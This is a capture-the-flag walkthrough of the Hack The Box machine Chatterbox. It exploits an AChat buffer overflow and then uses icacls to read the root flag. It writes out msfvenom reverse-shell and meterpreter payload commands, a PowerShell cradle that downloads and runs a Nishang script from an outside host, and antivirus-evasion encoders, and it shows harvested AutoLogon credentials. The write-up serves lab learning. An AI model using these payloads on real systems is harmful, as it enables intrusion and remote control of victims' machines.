Hack The Box - Chatterbox
Chatterbox was a fantastic machine that involved some CVE troubleshooting with a buffer overflow. This provided the initial foot hold where we proceeded to read the root.txt file by taking advantage of the icacls tool from the sys internal suite.
AV bypass with msfvenom encoders
Nishang reverse shells
Process migration (from meterpreter)
https://www.exploit-db.com/exploits/36025 - (achat CVE)
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls (icacls general usage by microsoft)
https://github.com/morph3/Windows-Red-Team-Cheat-Sheet - (Recon and Priv Esc with Icacls example)
https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/ - (msfvenom big list)
This was a not so standard enumeration phase. Unlike the usual course of action with a basic service/script scan at most. This practice lab ultimately received a poor rating because no standard ports were used. This led to people thinking the machine was not working. However a simple all port scan revealed the target ports 9256/9255.
└─$ nmap 10.129.194.205 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 02:31 EDT Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.05 seconds
└─$ nmap 10.129.194.205 -Pn 1 ⨯ Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 02:31 EDT Stats: 0:02:58 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 88.50% done; ETC: 02:34 (0:00:23 remaining) Stats: 0:03:00 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 89.50% done; ETC: 02:34 (0:00:21 remaining) Nmap scan report for 10.129.194.205 Host is up. All 1000 scanned ports on 10.129.194.205 are filtered Nmap done: 1 IP address (1 host up) scanned in 201.29 seconds
nmap 10.129.194.205 -p- -sC -sV
PORT STATE SERVICE REASON VERSION 9255/tcp open http syn-ack AChat chat system httpd |_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: AChat |_http-title: Site doesn't have a title. 9256/tcp open achat syn-ack AChat chat system
Some research showed there was an exploit on exploit DB for Achat. This seemed straight forward enough as per the usual course of pulling down a public CVE with a few changes.
This exploit can also be found within "searchsploit".
$ searchsploit Achat --------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------- --------------------------------- Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
We have to do two things.
Firstly we need to replace the target server with our HTB machine
We generate a new payload with msfvenom and copy all the bad assembly characters.
The exploit has used msfvenom to generate and call the sys internals tool "ps exec" and pass command line arguments to open the calculator. This payload also consists of bad characters and a proper encoder identified and selected by the author. This saves us tons of a time, as opposed to finding a jenky CVE without the bad chars pre-defined.
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
In the authors example we do not need to pop the calculator, we need to attain code execution and ideally escalate to a reverse shell. There are several ways we can go about this. Initially I explored many options as this machine is known for having allot of stability problems as a result of the buffer overflow. This resulted in having to launch the exploit many times, revert the machine and finally receiving an arbitrary successful connection. Which upon receiving a connection, I maintained it for as long as I needed including over night.
1. Standard unstagered windows reverse shell.
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=6363 -e x86/unicode_mixed
2. Windows meterpreter shell over TCP.
x86 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.16 LPORT=4545
3. Windows powershell execution
msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4545
4.Powershell to Nishang
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell\ 'IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9001/Invoke-PowerShellTcp.ps1')'"
Tried across multiple ports including the open ones as a possible Firewall bypass technique.
I attempted to try different encoders
cmd/powershell_base64 - Powershell Base64 Command Encoder
x86/shikata_ga_nai - excellent Polymorphic XOR Additive Feedback Encoder
x86/xor_dynamic - normal Dynamic key XOR Encoder
To address perhaps an issue with shell stability I attempt to migrate the process upon exploitation by configuring the following.
Create an .rc file with run post/windows/manage/migrate
Then we schedule it to run immediately upon connection within our multi/handler
msf exploit(multi/handler) > set AutoRunScript multi_console_command -r /root/automigrate.rc
Eventually I gained access at random, no rhyme or reason. I am still unsure of what the issue was, and after several weeks of repeated attempts and confirmation of glitchy behavior from the forums I had to move on and accept it was arbitrary and likely related to the machine partly crashing from the buffer overflow screwing up the service. However even after resetting the box it still would not work.
C:\Windows\system32>whoami chatterbox\alfred C:\Windows\system32>cd ../../Users/
From here I uploaded winpeas to perform to enumeration on the device. Many things stood out but this information regarding login credentials and permissions was crucial.
[+] Looking for AutoLogon credentials Some AutoLogon credentials were found!! DefaultUserName : Alfred DefaultPassword : Welcome1! [+] Home folders found C:\Users\Administrator : Alfred [AllAccess] C:\Users\Alfred : Alfred [AllAccess]
Browsing to the administrator directory worked but we could not read the root.txt flag as permissions were denied. After much research and investigating it dawned on me to research alternative permission sets in windows and I came across icacls. The icacls function displays discretionary access control lists on specified files. This allows a user to give access to a specific file they created within a restricted folder to another user.
Running icacls shows we have been assigned permissions
C:\Users\Administrator\Desktop>icacls C:\Users\Administrator\Desktop C:\Users\Administrator\Desktop Everyone:(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) CHATTERBOX\Administrator:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) CHATTERBOX\Alfred:(I)(OI)(CI)(F)
Dir /q root.txt also revealed the same permissions.
Using icacls to change permissions is easy enough as per the microsoft Doc.
icacls root.txt /grant alfred:D
With this sorted we can simply read the flag.
C:\Users\Administrator\Desktop> Type root.txt